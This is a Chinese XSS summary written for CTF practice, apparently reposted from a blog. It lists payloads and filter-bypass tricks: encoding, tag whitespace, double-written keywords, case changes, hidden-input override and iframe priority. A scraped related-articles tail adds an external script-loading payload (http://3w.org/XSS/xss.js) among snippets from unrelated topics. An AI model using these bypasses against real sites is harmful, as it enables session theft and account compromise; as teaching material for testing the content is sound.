xss总结--2018自我整理

0x00前言

因为ctf中xss的题目偏少(因为需要机器人在后台点选手的连接2333),所有写的比较少

这里推荐个环境http://test.xss.tv/

0x01xss作用

常见的输出函数:print()、 print_r()、 echo、 printf()、 sprintf()、 die()、 var_dump()、 var_export()

xss是往页面中添加了一段代码,并且被浏览器执行了

反射型将恶意代码写入参数,或者自己服务器上搭个form表单传送,用来钓鱼

存储型就等着别人点这个网页就行了

0x02手段

xss主要出现的地方:文章发表,评论回复,留言,资料设置等

xss无非就是要对方的cookie,但是常常会有httponly导致cookie并不能传到xss平台,这是一种有效的防御方式

但是xss预防应该从本质出发,即对该页面用户输入不能被执行

xss触发方法

利用script标签执行js

<script>alert(1)</script>

字符串用" ‘ 包裹都行

采用on事件方法

on事件不用单引号或双引号也可以触发,但是必须闭合标签内的引号

<onclick=alert(1)>     =>点击就会触发
<onmouseover=alert(1)> =>鼠标移动触发

能够使用on事件的标签

支持on click事件的标签有<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>

采用a标签来做到xss

<a href="javascript:alert(1)" >

0x03bypass方法

采用编码,把字符串可以进行编码

&#   后接十进制     => unicode编码

?&#x 后接十六进制    => unicode编码

采用标签中的空隙规则

假设正则是

<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>

可以采用

<script>alert(1)</script > ==> 最后有个p和>间有空格绕过

采用双写绕过空字符替换

如果被删除关键字,可以采用重写方法比如 <scriscriptpt>

采用大小写绕过不严格的waf

<script>   => <Script>

采用参数覆盖,覆盖掉hidden参数

<input name="t_sort"  value="" onmouseover=alert(1) type="text" type="hidden">我们输入的内容为:" onmouseover=alert(1) type="text

有些标签的优先级高于",导致执行xss

  • <!--
  • <iframe>
  • <noframes>
  • <noscript>
  • <script>
  • <style>
  • <textarea>
  • <title>
  • <xmp>

具体原理参考链接:https://blog.csdn.net/Bg70PVnyBv1/article/details/79358628?tdsourcetag=s_pcqq_aiomsg

使用方法

<iframe>"</iframe><script>alert(1)</script>"</iframe>  #这语句是会弹框的

假设输入的内容是
</iframe><script>alert(1)</script>

原文地址:https://www.cnblogs.com/sijidou/p/10259884.html

时间: 2024-10-02 23:43:22

xss总结--2018自我整理的相关文章

经典XSS跨站脚本集合汇总整理

1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG标签XSS使用JavaScript命令 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (3)IMG标签无分号无引号 <IMG SRC=javascript:alert('XSS')> (4)IMG标签大小写不敏感 <IMG SRC=JaVaScR

struts2实现文件上传进度条(前端JS+Java)(自我整理)

需要做一个文件上传进度的效果,结合网上资料和自己的实践后,这里做一个整理 步骤如下: 1.重写.自定义JakartaMultiPartRequest类 <span style="font-size:12px;">package com.hikvision.fileUploadProcess.interceptor; import java.io.IOException; import javax.servlet.http.HttpServletRequest; import

php实战开发之自我整理(学习笔记)

PHP没有创建变量的命令,变量会在首次赋值时进行创建. 简单样例 1 <?php $word="My first choice"; $x=5; echo $x; echo "<br>"; echo $word; ?> 前面若要引用字符串则需要加. 否则会出现语法错误 <?php $word="My first choice"; $x=5; echo $x; echo "<br>"; e

iOS远程消息推送自我整理版

@interface AppDelegate () <UIApplicationDelegate> @end @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { /************ 检测通知 **************/ if ([[[UIDevice curr

2014 NOIP 赛前自我整理提醒。

空谈WA,实干AC. 所以作为一个就要上战场的OIer ,实干当然是最重要,但刷题不在多,要点牢记是关键,虽然本渣没记住多少,但还是列几点值得注意的小点. 1.战场上容不得失误. 对于每日都要敲键盘的OIer来说,打错程序当然是常事,可是如果在比赛时脑子一抽,就可能断送了前程,所以比赛时的投入应该不亚于上战场的士兵,专心对待每一个题目,水题满分,难题争分,不会的题骗分. 2.文件深坑. 每一个程序都有名字,而我们在成功做出这道题时,很容易在writeln之后立马接上 end. 总是忘记close

lvm基本应用(自我整理)

LVM简介 LVM (Logical Volume Manager):逻辑卷管理员,它是Linux环境下对磁盘分区进行管理的一种机制.Linux用户安装Linux操作系统时遇到的一个常见的难以决定的问题就是如何正确地评估各分区大小,以分配合适的硬盘空间.普通的磁盘分区管理方式在逻辑分区划分好之后就无法改变其大小,当一个逻辑分区存放不下某个文件时,这个文件因为受上层文件系统的限制,也不能跨越多个分区来存放,所以也不能同时放到别的磁盘上.而遇到出现某个分区空间耗尽时,解决的方法通常是使用符号链接,或

前端(三大框架、Bootstrap,jQuery,自我整理)

前端,HTML(超文本标记语言),CSS(层叠样式表)和JavaScript(脚本语言) HTML,通常说的h5,其实按标准来说,HTML4的后续版本不带编号了,并保证向前的兼容性 CSS的版本3,增加了translate(),能完成以前一定需要js才能做到的动画,同时增加了flex弹性盒子(响应式设计,提供一种更加有效的方式来对一个容器中的子元素进行排列.对齐和分配空白空间,以往使用float) 前端框架 一.Bootstrap 在Bootstrap的官网介绍中,Bootstrap is th

RPG项目描述自我整理

近期做了一个RPG项目中押镖的功能 策划罗列有 镖车在有能量情况下跟随主角 路过兵营 兵营随机时间开始出兵 攻击镖车 主角砍兵获取能量 护送镖车到达终点 可应用状态机以及消息中心的知识实现 主角有跑 攻击状态 根据用户输入切换状态:镖车有idle 跟随状态 根据自身能量值切换状态:敌人有跑 攻击 死亡状态 根据视野范围及自身血量切换状态 当怪物死亡时 主角拾取能量到背包 背包中使用能量道具时 利用消息中心充值能量 镖车继续跟随主角 游戏判定结束通过镖车被摧毁或护送镖车到终点为了迎合策划的需求 要

2018最新苹果APP上架App Store流程(超详细)

本文转发:https://blog.csdn.net/xxw888/article/details/73618837 2018最新整理iOS app上架app详细教程 上架iOS需要一个付费688的开发者账号,还没有的话申请一个或者借用. 申请苹果开发者账号教程 上架App Store之前是先安装到苹果手机测试调试好,app能正常运行再上架 iOS真机调试测试教程 上架过程分七个步骤,按步骤一步步来. 仔细看这个流程,少走很多弯路,不用一步步去试错,节省时间. 1.创建APP身份证(App ID